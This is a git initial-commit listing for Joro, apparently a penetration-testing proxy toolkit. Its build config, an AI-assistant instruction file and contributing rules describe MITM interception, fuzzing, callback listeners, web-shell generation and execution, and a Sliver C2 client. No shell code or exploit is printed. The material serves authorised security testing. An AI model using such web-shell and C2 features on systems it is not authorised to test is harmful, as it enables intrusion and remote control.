Initial commit

This commit is contained in:
Nicki Rios committed 2026-05-12 12:20:15 -05:00
commit dfb21c580a
199 files changed
+40943

No files matched your search

+13
View File
@@ -0,0 +1,13 @@
joro
test/
dist/
web/node_modules/
!web/dist/.gitkeep
# plugins
*.dylib
*.so
*.dll
# Go modules
/vendor/
+102
View File
@@ -0,0 +1,102 @@
version: 2
project_name: joro
before:
hooks:
- go mod tidy
- sh -c "cd web && npm ci && npm run build"
- sh -c "command -v zig >/dev/null || { echo 'zig not found on PATH (brew install zig)'; exit 1; }"
builds:
- id: joro
main: .
binary: joro
env:
- CGO_ENABLED=1
# CC routing:
# - darwin: leave unset so Go uses Apple's clang, which natively
# handles cross-arch builds within the darwin family. Cross-
# compiling darwin via zig hits framework/SDK dependency-
# resolution issues (libobjc.tbd, etc.) that aren't worth
# working around when host clang already supports both archs.
# - linux/windows: route through scripts/cc.sh which wraps zig cc
# and works around several Go-vs-zig integration issues.
# The release build host therefore must be macOS with Xcode CLT
# installed (for darwin builds) AND zig on PATH (for linux/windows).
- >-
CC={{- if eq .Os "darwin" -}}
cc
{{- else -}}
{{ .Env.PWD }}/scripts/cc.sh
{{- if eq .Os "linux" }}
{{- if eq .Arch "amd64" }} x86_64-linux-gnu.2.17{{ end }}
{{- if eq .Arch "arm64" }} aarch64-linux-gnu.2.17{{ end }}
{{- end }}
{{- if eq .Os "windows" }}
{{- if eq .Arch "amd64" }} x86_64-windows-gnu{{ end }}
{{- if eq .Arch "arm64" }} aarch64-windows-gnu{{ end }}
{{- end }}
{{- end }}
# netgo + osusergo route DNS and os/user lookups through pure-Go
# implementations instead of libresolv / libc. Required for cross-compile
# via zig cc since zig's macOS sysroot doesn't ship libresolv. CGO stays
# on (-buildmode=plugin needs it); the tags only swap stdlib internals.
tags:
- netgo
- osusergo
flags:
- -trimpath
ldflags:
- -s -w
- -X main.version={{.Tag}}
- -X main.commit={{.ShortCommit}}
mod_timestamp: '{{ .CommitTimestamp }}'
goos:
- linux
- darwin
- windows
goarch:
- amd64
- arm64
# NOTE: this archive name template is duplicated in internal/update/update.go
# (binary-mode asset download). Keep them in sync.
archives:
- id: default
name_template: "{{ .ProjectName }}_{{ .Version }}_{{ .Os }}_{{ .Arch }}"
formats: [tar.gz]
format_overrides:
- goos: windows
formats: [zip]
files:
- LICENSE
- README.md
checksum:
name_template: "checksums.txt"
algorithm: sha256
snapshot:
version_template: "{{ .Tag }}-next"
changelog:
sort: asc
filters:
exclude:
- '^docs:'
- '^test:'
- '^chore:'
groups:
- title: Features
regexp: "^(?i).*add.*$"
order: 0
- title: "Bug fixes"
regexp: "^(?i).*fix.*$"
order: 1
- title: Others
order: 999
release:
draft: true
replace_existing_draft: true
+329
View File
@@ -0,0 +1,329 @@
# Joro - Claude Code Instructions
## Keeping This File Fresh
**Update this file whenever significant changes are made to the project** - new packages, changed commands, architectural decisions, or new conventions. Outdated instructions cause mistakes. If you add a dependency, change a build step, or restructure a package, update the relevant section here before finishing the task.
---
## Project Overview
Joro is an intercepting HTTP/HTTPS proxy and web shell toolkit for penetration testing. It is a single Go binary that starts a proxy server and serves a React web UI - there is no CLI mode.
Three modes:
- **Proxy mode** (default): intercepting proxy + web UI
- **Listener mode** (`--listener`): out-of-band callback server (DNS + HTTP) for blind vuln detection
- **Team Server mode** (`--listener --teamserver`): listener + authenticated team collaboration (chat, notes)
Ports & paths:
- Proxy `:8080` (`--proxy-port`), UI/API `:9090` (`--ui-port`)
- Data dir `~/.joro/` — CA cert/key + `callbacks.db`
- Listener: DNS `:53` (`--dns-port`), HTTP `:80` (`--http-port`), HTTPS `:443` (`--https-port`, `0` to disable), domain via `--domain` or UI
---
## Repository Structure
```
main.go Entrypoint (proxy or listener mode)
internal/
config/ Config struct + defaults
event/ Shared WSEvent struct (avoids proxy/callback import cycle)
callback/ SQLite (modernc.org/sqlite), token CRUD, DNS + HTTP listeners
cert/ ECDSA P-256 CA, leaf gen, sync.Map cache
proxy/
handler.go ServeHTTP: CONNECT vs plain HTTP
mitm.go TLS termination + HTTP/1.1 loop
intercept.go Per-request channel queue with timeout
noise.go Silently tunnels browser background traffic
scope.go Two-level scope (host + method/path)
store.go Thread-safe ring buffer
replace.go Match & Replace (raw-byte rules)
customdata.go Additive header/query/body injection
websocket.go ws_relay.go ws_store.go WS MITM (custom frames over net.Conn)
ws_manipulate.go User-driven outbound WS sessions
client.go helpers.go HTTP client + utilities
team/ Team chat + notes tables, bearer-token auth middleware
fuzzer/ Goroutine-pool fuzzer + in-memory campaign store (max 50)
shell/ ASP/ASPX/PHP/etc. shell gen + executor + dictionary
sliver/ gRPC client for Sliver C2 (custom protowire encoding)
plugins/ Plugin lifecycle: load, categorize, init, shutdown
api/
server.go routes.go APIServer + route registration + SPA embedding
ws.go WebSocket hub (gorilla/websocket)
handlers_*.go Per-feature handlers (requests, intercept, manipulate,
generate, execute, fuzzer, settings, certs, callbacks,
replace, customdata, plugins, team, sliver, ws, ...)
ws_relay.go Relay to teamserver, forwards team.* events
sdk/sdk.go Plugin SDK: interfaces, types, constants (separate Go module)
web/
embed.go //go:embed dist
dist/ Built frontend (gitignored except placeholder)
src/
main.tsx App.tsx index.css vite-env.d.ts
themes/bishop-fox.css Default dark theme (BF brand palette)
lib/api.ts ws.ts Typed fetch wrapper + WS singleton (auto-reconnect)
stores/*.ts Zustand: request, fuzz, intercept, settings, callback,
ws, manipulateWS, team
pages/ History, Intercept, Manipulate (HTTP+WS), Generator,
Executor, Fuzz, Login, Settings, Callbacks, Plugins,
PluginTabPage
components/ DynamicConfigForm (auto-gen plugin ExecProvider config)
examples/plugins/
hello-provider/ ExecProvider + GraphProvider example
hello-tab/ hello-feature/ Top-level tab + sub-tab plugin examples
hello-dashboard/ Dashboard replacement example
interactsh/ InteractProvider: stdlib-only interactsh client
Makefile build, build-frontend, build-all, dev, clean
```
---
## Build Commands
```bash
go build ./... # Go-only (uses placeholder frontend, works without npm)
make build # Full (frontend + Go binary)
make build-all # Cross-platform → dist/
make dev # Backend with --dev flag (proxies UI to Vite)
cd web && npm run dev # Vite dev server (separate terminal, with `make dev`)
# Build a plugin from source (auto-detects .so vs .dylib)
./joro --build-plugin examples/plugins/hello-feature
./joro --build-plugin examples/plugins/hello-feature --install # also installs to ~/.joro/plugins/
# Or manually:
cd examples/plugins/hello-feature
go build -buildmode=plugin -o hello-feature.dylib . # macOS
go build -buildmode=plugin -o hello-feature.so . # Linux
```
### Releases
Tagged releases use [goreleaser](https://goreleaser.com) (config: `.goreleaser.yaml`). `make build` / `make build-all` are the local-dev workflow; goreleaser is only for cutting releases.
```bash
goreleaser release --snapshot --clean # Local snapshot — sanity check config
goreleaser check # Verify config syntax
git tag v1.0.1 && git push --tags && goreleaser release --clean # Cut release (needs GITHUB_TOKEN)
```
Goreleaser produces 6 binaries (linux/{amd64,arm64}, darwin/{amd64,arm64}, windows/{amd64,arm64}) in tar.gz/zip archives with LICENSE + README, plus `checksums.txt`. All targets are built with `CGO_ENABLED=1` via `zig cc` cross-compilers — required so Go's `plugin` package (dlopen-based) works in release binaries. `make build-all` mirrors the goreleaser config (also CGO=1 + zig cc) and produces all 6 targets. **Requires `zig` on PATH** (`brew install zig`); the goreleaser `before:` hook fails fast if it's missing. Linux glibc is pinned to 2.17 for wide compat. Releases are created as **drafts** so the operator publishes manually. `-X main.version={{.Tag}}` and `-X main.commit={{.ShortCommit}}` are injected at link time. Asset name template (`joro_<version>_<os>_<arch>.tar.gz|zip`) is duplicated in `internal/update/update.go` (`runBinaryUpdate`) — keep them in sync.
**`--build-plugin` flag forwarding.** `runBuildPlugin` in `main.go` reads `runtime/debug.BuildInfo` from the running binary and forwards ABI-relevant settings to the child `go build -buildmode=plugin`: `-trimpath`, `-tags` (e.g. `netgo,osusergo`), and `CGO_ENABLED` / `GOARM64` / `GOAMD64` env. Without this, a release host (built with `-trimpath -tags netgo,osusergo`) and a plugin built bare hash stdlib packages differently, and dlopen rejects with `plugin was built with a different version of package internal/goarch`. The build banner prints the resolved `Flags:` and `Env:` so mismatches are visible. If a plugin still fails to load with `different version of package …`, check that `go version` (run from the plugin's source dir) matches the host binary's `runtime.Version()`.
**Plugin go.mod must require the SDK at the host's pseudo-version.** Under `-trimpath`, the Go compiler bakes the SDK's module version string into the position info embedded in exported declarations, which is part of the package's export hash (`go:link.pkghashbytes.github.com/BishopFox/joro/sdk`). The host's `go.mod` requires `github.com/BishopFox/joro/sdk v0.0.0-00010101000000-000000000000` (Go's canonical zero pseudo-version, auto-generated by `go mod tidy` for a local-replace dep with no real tag). A plugin `go.mod` that requires plain `v0.0.0` will produce a different export hash even though the source files and replace target are identical, and `plugin.Open()` will reject with `different version of package github.com/BishopFox/joro/sdk`. The 5 example plugin go.mod files all use the full pseudo-version — do the same in any new plugin. Without `-trimpath`, the issue is masked because position info uses absolute filesystem paths that happen to match across both builds, so `make build` + `--build-plugin` works without the version match; only release (goreleaser) builds expose the bug.
### In-app updater install modes
`internal/update/update.go` detects how the running binary was installed:
- **Git mode** (`.git` dir alongside executable): `git fetch` + parse upstream `main.go` version literal; update via `git pull --ff-only` + `make build`.
- **Binary mode** (no `.git`): hits `GET /repos/BishopFox/joro/releases/latest`, downloads matching archive + `checksums.txt`, verifies SHA-256, atomically replaces the running binary.
Both paths fail silently on errors (no network, rate limit, missing `git`, bad checksum) — startup is never blocked. After successful update, `update.Restart()` re-execs.
---
## Frontend Development
Source in `web/`. TypeScript/React/Vite.
```bash
cd web
npm install # install dependencies
npm run dev # Vite dev server on :5173 (use with `make dev`)
npm run build # output to web/dist/ (embedded into Go binary)
```
**npm registry:** machine may be on a private registry. If `npm install` fails, check `npm config get registry` and `npm config delete registry`.
---
## API Reference
All under `/api/v1/`. Request/response shapes are JSON unless noted. WebSocket events stream from `/ws`.
**History & intercept**
- `GET/DELETE /requests`, `GET /requests/:id` — paginated history with filters; raw bytes base64
- `GET /intercept`, `PUT /intercept/enabled`, `POST /intercept/:id/{forward,drop}` — queue control; forward accepts modified `reqRaw` base64
**Manipulate**
- `POST /manipulate/send` — raw HTTP `{raw b64, scheme, host}`
- `POST /manipulate/ws/connect` — `{raw b64, scheme: ws|wss, host}` → `{sessionId, status, rawResp, error}` (always 200; sessionId empty on failure)
- `POST /manipulate/ws/{id}/send` — `{opcode: text|binary|ping|pong|close, payload b64}`
- `POST /manipulate/ws/{id}/disconnect`
**Shells**
- `POST /generate` — `{format: php|asp|aspx|ashx|jsp|cfm}`
- `POST /execute` — `{target, webshell, authKey, command}`
**Fuzzer**
- `POST /fuzzer/start` — `{raw, scheme, host, wordlist[], wordlists?, attackMode?, threads, rateLimit, followRedirects, updateContentLength?, matchers, filters}`
- `POST /fuzzer/{id}/stop`, `GET /fuzzer/campaigns`, `GET /fuzzer/campaigns/{id}` (paginated results), `DELETE /fuzzer/campaigns/{id}`
- `POST /fuzzer/wordlist` — multipart upload → `{lines[], count}`
**Filters & rules** (each: `GET`, `PUT /enabled`, `POST` add, `DELETE /{id}`)
- `/noise` — `{pattern}`
- `/scope/rules` — `{pattern, methods, path, include}`
- `/replace/rules` — `{target, matchType, match, replace}` (target ∈ request_header, request_body, response_header, response_body, ws_message)
- `/customdata/items` — `{type, name, value}`
**WebSocket capture**
- `GET /ws/messages?host=&offset=&limit=`, `DELETE /ws/messages`
**Settings & system**
- `GET/PUT /settings`, `GET /certs/ca.crt`, `GET /mode` (returns `{mode: proxy|listener}`)
- `POST /system/restart` — graceful re-exec
**Callbacks (listener mode)**
- `GET/PUT /callbacks/config` — `{domain, responseIp}`
- `GET/POST /callbacks/tokens`, `DELETE /callbacks/tokens/{id}` (cascade)
- `GET/DELETE /callbacks/interactions?token_id=`
**Sliver C2**
- `GET /sliver/status`, `POST /sliver/{connect,disconnect}`, `GET /sliver/sessions`
- `POST /sliver/execute` — `{sessionId, command, args}`
- `POST /sliver/command` — `{input}` → `{output, error, downloadId?, filename?}` (text command dispatcher)
- `GET /sliver/download/{id}` (60s TTL cache), `POST /sliver/upload` (multipart)
**Team server** (auth: `Authorization: Bearer <token>` + `X-Joro-Nickname`)
- `GET/POST /team/chat`, `GET /team/users`, `POST /team/nickname` (`{oldNickname, newNickname}`)
- `GET /team/notes/hosts`, `GET/POST /team/notes`, `DELETE /team/notes/{id}`
**Plugins**
- `GET /plugins`, `POST /plugins/upload` (multipart, 32MB max), `DELETE /plugins/{filename}` (restart required)
- `GET /plugins/{exec-providers,interact-providers,graph}`
- Per-plugin exec: `GET /plugin/{name}/status`, `POST /plugin/{name}/{connect,disconnect,command}`
- Per-plugin interact: `GET/POST /plugin/{name}/interact/instances`, `DELETE /plugin/{name}/interact/instances/{id}`, `PUT .../enabled`, `GET/DELETE /plugin/{name}/interact/interactions?instance_id=`
### WebSocket Events (over `/ws`)
```
request.captured { ...RequestSummary }
intercept.queued { id, method, url, host, reqRaw }
intercept.resolved { id, action: forward|drop }
callback.interaction { ...Interaction }
ws.message { id, connectionId, timestamp, direction, opcode, payloadLength, payload, host, url, isText }
team.chat { id, author, text, createdAt }
team.note { id, host, content, author, createdAt, updatedAt }
team.presence { users: [...] }
team.nickname_changed { oldNickname, newNickname }
fuzzer.started { campaignId, total }
fuzzer.result { campaignId, result: { index, payload, payloads?, statusCode, size, words, lines, durationMs, url } }
fuzzer.complete { campaignId, status, completed, errors }
manipulate.ws.frame { sessionId, direction: sent|received, opcode, payload (b64), isText, size, ts }
manipulate.ws.closed { sessionId, reason }
system.update.restarting {}
plugin.{name}.{eventType} { ... }
plugin.{name}.interaction { id, instanceId, hex, protocol, sourceIp, timestamp, queryName?, queryType?, method?, path?, rawRequest? }
```
---
## Go Dependencies
| Module | Purpose |
|--------|---------|
| `github.com/hashicorp/go-uuid` | UUIDs for shell auth keys |
| `github.com/gorilla/websocket` | WebSocket server |
| `github.com/miekg/dns` | DNS server (callback listener) |
| `modernc.org/sqlite` | Pure-Go SQLite (no CGO, cross-compiles) |
| `google.golang.org/grpc` + `google.golang.org/protobuf` | Sliver C2 client (protowire hand-encoded) |
| `github.com/spf13/pflag` | POSIX-compliant CLI flags |
| `github.com/BishopFox/joro/sdk` | Plugin SDK (local module via `replace`) |
| stdlib for everything else | `crypto/x509`, `crypto/ecdsa`, `embed`, `net/http`, `io/fs`, ... |
Tracked via `go.mod` / `go.sum` only — repo does **not** vendor (see "no vendor/" decision below). Add deps with `go get <module>` then `go mod tidy`. Commit `go.mod` + `go.sum` together. Do not hand-edit them.
---
## Key Design Decisions
- **No CLI mode.** All features through web UI. Don't add CLI flags for shell gen/exec.
- **No global variables.** Functions take parameters; globals removed in v0.5.0.
- **No `os.Exit` in packages.** Only `main.go` exits. Internal packages return errors.
- **Intercept uses per-request channels.** `InterceptQueue.Pause()` blocks the proxy goroutine until `Resolve()` or timeout (default 60s). Don't change to polling.
- **CA cert reused across restarts.** `cert.LoadOrCreate()` only regenerates when missing.
- **`web/dist/` embedded** via `//go:embed dist`. Placeholder `index.html` exists so `go build` works before `npm run build`.
- **Noise filter is separate from scope.** Silently tunnels common browser background traffic (captive portal, telemetry, OCSP, safe browsing) without capture. Enabled by default. Checked **before** scope — noisy hosts never MITM'd regardless of scope rules.
- **Two-level scope filtering.** L1 (CONNECT): host pattern only — out-of-scope hosts tunneled raw without MITM. L2 (request): host + method + path after TLS termination — out-of-scope requests forwarded without capture/intercept. Disabled by default; enabled with no rules blocks everything (safe default). Exclude rules override include rules.
- **Listener mode is mutually exclusive with proxy mode.** `--listener` starts DNS + HTTP callback servers + reduced API/UI. No CA, proxy, or intercept. Data in `~/.joro/callbacks.db`.
- **Token entropy:** 12 hex chars = 48 bits. Correlated by leftmost subdomain label.
- **Port 53 needs root/capabilities on Linux.** `setcap cap_net_bind_service=+ep ./joro` or iptables redirect.
- **`internal/event` package** holds shared `WSEvent` to avoid proxy↔callback import cycle.
- **Match & Replace operates on raw bytes.** Splits raw dump at `\r\n\r\n`, applies header/body rules independently, then reparses. Cumulative in order. Supports `string` and `regex`. Targets: `request_header`, `request_body`, `response_header`, `response_body`, `ws_message`.
- **WebSocket MITM uses custom frame reader/writer** on raw `net.Conn` (not gorilla). Detected via `Upgrade: websocket`. After 101, two goroutines relay bidirectionally. Control frames forwarded immediately; data frames accumulated until FIN, match/replace applied on complete messages, forwarded as single frame. 16MB payload limit.
- **WebSocket Manipulate is a client path, not proxy interception.** `internal/proxy/ws_manipulate.go` dials per-session (TCP or TLS w/ `InsecureSkipVerify`, honoring `TransportConfig.SOCKSDialContext()`), writes raw upgrade verbatim (injects `Sec-WebSocket-Key` only if missing), parses 101 with `http.ReadResponse`, reassembles continuation frames, calls `onFrame` per complete message. `Send` writes a single FIN masked frame. Sessions in-memory only, dropped on restart/error/close. Transcript streamed via `manipulate.ws.frame`/`manipulate.ws.closed` — sent frames also broadcast so multiple UI tabs stay in sync. Match & Replace intentionally NOT applied — what you type is what goes on the wire.
- **Custom Data is purely additive.** Unlike Match & Replace (needs match pattern), Custom Data appends headers, query params, or body data to in-scope requests. Applied after Match & Replace. UI in "Customize Requests" tab.
- **Fuzzer:** producer-consumer goroutine pool, 1-100 threads, rate limiting. Reuses `proxy.TransportConfig.Transport()` (SOCKS, HTTP/2, keep-alive). Results streamed via `fuzzer.result` with RAF batching client-side. Response bodies NOT stored — only metrics (status, size, words, lines, duration). Campaigns in memory (max 50, oldest completed evicted). Single (`FUZZ`) or multi-position (`FUZZ1`, `FUZZ2`, ...). Multi-position attack modes: **Spray** (same payload all positions), **Split** (parallel iteration), **Yolo** (cartesian product, max 10M). Detection regex `FUZZ(\d+)` with fallback to `FUZZ`. Replaced longest-label-first (e.g. `FUZZ10` before `FUZZ1`). Matchers (whitelist) / filters (blacklist) on status, size, words, lines, regex. Content-Length auto-update toggled by `updateContentLength`.
- **CORS is permissive (`*`) intentionally** — proxy only listens on localhost.
- **Sliver C2 uses custom protowire encoding** to avoid the massive Sliver dep tree. `internal/sliver/`: `wire.go` (hand-encoded proto), `client.go` (gRPC), `commands.go` (text command dispatcher). Binary downloads/screenshots cached server-side, 60s TTL. `POST /sliver/command` is the main interface — `{input}` → `{output, error, downloadId?, filename?}`. Active session tracked in `Client.activeSessionID`.
- **Team Server mode (`--listener --teamserver`)** extends listener mode with auth + collaboration. 32-char hex token generated at startup, printed to console. All teamserver requests (except `GET /api/v1/mode`) require `Authorization: Bearer <token>`. Nicknames via `X-Joro-Nickname`. Teamserver is API-only (no frontend). Proxy connects via `listenerUrl` and forwards team requests with `proxyToListener()`. Team data stored in `callbacks.db`. Active users tracked via WS hub client map (conn → nickname). Proxy maintains a WS relay (`ws_relay.go`) that forwards `team.*` events to the local hub. Nickname rename via `POST /api/v1/team/nickname` atomically renames in hub map and broadcasts `team.nickname_changed`, avoiding the disconnect/reconnect a full relay restart would cause; relay's cached nickname updated via `ListenerRelay.SetNickname()`. On 409 (collision), proxy rolls back the local `teamNickname` setting and surfaces the error. Team Chat does NOT fetch history on load — operators see only WS messages from session start. System announcements (`[*] X connected!`, etc.) are synthetic client-side entries in `teamStore` from `team.presence` diffs + `team.nickname_changed` events; persist across tab switches but not page reloads.
- **Plugin system uses Go's `plugin` package** (.so on Linux, .dylib on macOS). **Linux and macOS only** — Go's plugin package does not support Windows or any GOOS outside Linux/Darwin/FreeBSD. `joro --build-plugin` errors immediately on Windows; release binaries on Windows still load fine but cannot use plugins. Plugin support requires the host binary to be built with `CGO_ENABLED=1`; the goreleaser config + Makefile do this via `zig cc`. Loaded at startup from `~/.joro/plugins/`. Each exports `var Plugin sdk.Plugin`. SDK in `sdk/sdk.go` as separate Go module (`replace` in go.mod). Six plugin types: `exec_provider`, `tab`, `feature`, `proxy_hook`, `dashboard` (only one active), `interact_provider`. Names match `^[a-z0-9][a-z0-9_-]*$`, can't be reserved (`api`, `ws`, `ext`, `system`). All method calls wrapped with panic recovery. Plugins get scoped data dir (`~/.joro/plugin-data/{name}/`) and scoped WS broadcast (events auto-prefixed `plugin.{name}.`). Tab/feature/dashboard plugins serve embedded UIs at `/plugin/{name}/` in sandboxed iframes (`allow-scripts allow-forms`). API calls from iframes work because CORS is `*`. Upload/delete require restart — Plugins page has "Restart Now" button (`POST /api/v1/system/restart`, same `syscall.Exec` re-exec as updates). Proxy hooks run in load order; `OnRequest` returning nil drops a request. `ConfigField.Type` ∈ `text|password|textarea|file|checkbox`; checkboxes serialize as `"true"`/`"false"` to preserve `map[string]string` wire shape.
- **Plugin state persistence is opt-in via two SDK interfaces.** `UserStatefulPlugin` (`ExportUserState`/`ImportUserState`) — operator-scoped state riding with User Configs (API keys, personal tokens). `ProjectStatefulPlugin` (`ExportProjectState`/`ImportProjectState`) — engagement-scoped state riding with Project Configs (active sessions, instance configs). May implement either, both, or neither. State bytes are opaque — plugins own schema and migration. No autosave on shutdown, no separate on-disk state files: serialized only when user saves a User/Project Config, applied only on load. `internal/plugins/manager.go` exposes `{Export,Apply}{User,Project}States`. Config handlers in `internal/api/handlers_configs.go` embed a `pluginStates` map (name → base64 blob) in `userConfigFile` (v2) and `projectConfigFile` (v3), and ghost-preserve blobs for plugins not installed locally via `APIServer.pendingUserPluginStates` / `pendingProjectPluginStates`, so a load→save round-trip never drops state for missing plugins. Load responses include `unknownPluginStates: []` shown in Settings.
- **Interactsh shipped as an example plugin** (`examples/plugins/interactsh/`), not native. Reimplements interactsh wire protocol with stdlib only — RSA-2048 keygen, RSA-OAEP-SHA256 for session AES-256 key, AES-CTR for per-interaction payloads, per-instance `http.Client` with opt-in `InsecureSkipVerify` for self-signed self-hosted servers. Main binary has zero `projectdiscovery/*` deps. Implements `ProjectStatefulPlugin` (`state.go`): saves RSA keypair (PKCS#1 PEM), correlation ID, nonce, secret key, auth token, enabled state per server. Loading reconstructs servers and resumes polling without re-registering, so in-flight interactions keep decrypting against the existing session. Correlation IDs only useful while the remote server retains them (~24h on oast.live).
- **No `vendor/` directory.** Tracked via `go.mod`/`go.sum` only. Plugins have own `go.mod` with `replace github.com/BishopFox/joro/sdk => ../../../sdk`, building in mod-mode. If the main binary built in vendor-mode, its module graph would hash differently than the plugin's and Go's plugin loader would reject the .so/.dylib with `plugin was built with a different version of package github.com/BishopFox/joro/sdk`. Do not run `go mod vendor` or commit a `vendor/` tree.
- **Theming uses CSS custom properties + `data-theme` attribute.** See Theme Architecture below.
---
## Theme Architecture
UI ships **Bishop Fox** theme (BF brand palette, id `bishop-fox`) as default, alongside named alternates. Colors are CSS custom properties on `[data-theme="..."]` selectors, mapped to semantic Tailwind classes via `tailwind.config.js`.
Brand palette uses 16 colors — White, Black, Red `#FA4844`, Magenta `#BF1363`, Crimson `#E40505`, Coral `#EF5B5B`, Orange `#FF7F11`, Amber `#FFBA49`, Lime `#D7E300`, Teal `#00A49E`, plus 6 grays/browns from light gray to near-black.
### CSS Variable → Tailwind Class Mapping
| CSS Variable | Tailwind Class | Usage |
|---|---|---|
| `--color-surface-body` | `bg-surface-body` | Page background |
| `--color-surface-card` | `bg-surface-card` | Cards, panels, header |
| `--color-surface-input` | `bg-surface-input` | Inputs, elevated surfaces |
| `--color-surface-hover` | `bg-surface-hover` | Hover backgrounds |
| `--color-surface-terminal` | `bg-surface-terminal` | Terminal background |
| `--color-border`, `--color-border-subtle` | `border-border`, `border-border-subtle` | Borders, row separators |
| `--color-content-{primary,secondary,muted}` | `text-content-{primary,secondary,muted}` | Text |
| `--color-accent` (+`-hover`) | `text-accent`, `bg-accent` | Primary — red (title, selected tabs, toggles) |
| `--color-accent-secondary` (+`-hover`) | `text-accent-secondary`, `bg-accent-secondary` | Secondary — teal (action buttons, links) |
| `--color-accent-tertiary` (+`-hover`) | `text-accent-tertiary`, `bg-accent-tertiary` | Tertiary — lime (forward/generate actions) |
| `--color-semantic-success` | `text-semantic-success` | Lime |
| `--color-semantic-error` (+`-bg`, `-hover`) | `text-semantic-error`, `bg-semantic-error-bg`, `bg-semantic-error-hover` | Red text / crimson bg / coral hover |
| `--color-semantic-info` | `text-semantic-info` | Teal |
| `--color-semantic-warning` | `text-semantic-warning` | Amber |
| `--color-semantic-special` | `text-semantic-special` | Magenta |
### How It Works
1. `web/index.html` has `data-theme="bishop-fox"` on `<html>`
2. Each `web/src/themes/<name>.css` defines variables under `[data-theme="<name>"]`
3. `web/tailwind.config.js` maps semantic classes to `var(--color-*)`
4. Components use semantic classes only — never raw Tailwind colors
To add a new theme: create `web/src/themes/<name>.css` with all `--color-*` variables under `[data-theme="<name>"]`, import in `web/src/index.css`, set `data-theme="<name>"` on `<html>` to activate.
### Important
- **No raw Tailwind colors in components.** No `bg-gray-*`, `text-red-*`, etc. in TSX. Always use semantic classes.
- **Three accent colors:** Red (`accent`) for brand/emphasis/selected, Teal (`accent-secondary`) for actions/links, Lime (`accent-tertiary`) for positive/forward.
- **`bg-accent-tertiary` and `bg-accent-secondary` buttons need `text-black`** for legibility.
- **Tailwind opacity syntax (`bg-color/80`) won't work** with CSS variable colors. Use a dedicated variable or a different palette color.
- **CodeMirror uses `oneDark`** — not yet integrated with theming.
- **Theme selector** on Settings page. Stored in `localStorage` under `joro-theme`, applied on load in `main.tsx`.
---
## Testing
No automated tests yet. Manual verification:
1. `go build ./...` compiles cleanly
2. `./joro` prints `Proxy listening on :8080` and `UI available at http://localhost:9090`
3. Browser proxy → `localhost:8080`; import `~/.joro/ca.crt`
4. Browse HTTPS site; requests appear in History
5. Enable Intercept; next request pauses; edit and forward
6. Manipulate (HTTP): paste raw, send, verify response + timing
7. Manipulate (WS): connect to `wss://echo.websocket.events/`, send text/binary/ping, verify echo, disconnect
8. Generate PHP/ASHX shell, verify auth key + content
9. Execute: enter target + shell + key, run `whoami`
10. Plugins: `./joro --build-plugin examples/plugins/hello-feature --install`, restart, verify load; upload via UI + "Restart Now" + verify
+30
View File
@@ -0,0 +1,30 @@
Contributing to Joro
====================
Thanks for your interest in contributing. This document describes the expectations for pull requests against this repository.
## General
* Contributions to core code must be GPLv3 (but not libraries).
* Open a GitHub issue to discuss non-trivial changes before opening a PR.
* **Each PR should cover a single change.** Don't bundle multiple features, refactors, or dependency bumps into one pull request - split unrelated work into separate PRs.
* Keep pull requests small and focused. Large or sprawling PRs will be asked to split before review.
* Prefer building domain-specific features as plugins - see `sdk/sdk.go` and `examples/plugins/` - rather than adding them to core.
* Changes should be made in a new branch.
* Commits [must be signed](https://docs.github.com/en/github/authenticating-to-github/signing-commits) for any PR to `main`.
* Provide meaningful commit messages, and reference the related issue.
* `gofmt` your Go code.
* Avoid `import "C"` and CGO-wrapped C library dependencies in source code - they hurt cross-compilation and portability. Prefer pure-Go libraries (e.g. `modernc.org/sqlite` over the cgo sqlite driver). This is about source dependencies, not the `CGO_ENABLED` build flag - release binaries are built with `CGO_ENABLED=1` (via `zig cc`) so Go's `plugin` package works on Linux and macOS.
* Avoid global variables in internal packages; pass dependencies as parameters.
* Do not call `os.Exit` outside `main.go`; errors should always be handled cleanly.
* Frontend changes must use semantic Tailwind classes from the theme system (see `CLAUDE.md`).
* New dependencies need a short justification in the PR description.
* Any changes under `third_party/` should be in a distinct commit.
* There is no automated test suite yet; include a short manual verification note in the PR description, and a screenshot for UI changes.
## Security
* _Never_ trust the user, applied in a common-sense way.
* __Secure by default__ - prefer failing closed over operating in an insecure state.
* _Never_ use homegrown or non-peer-reviewed cryptography or random number generation.
* Report vulnerabilities privately via the GitHub advisory link in [`SECURITY.md`](SECURITY.md) - not public issues.
+674
View File
@@ -0,0 +1,674 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
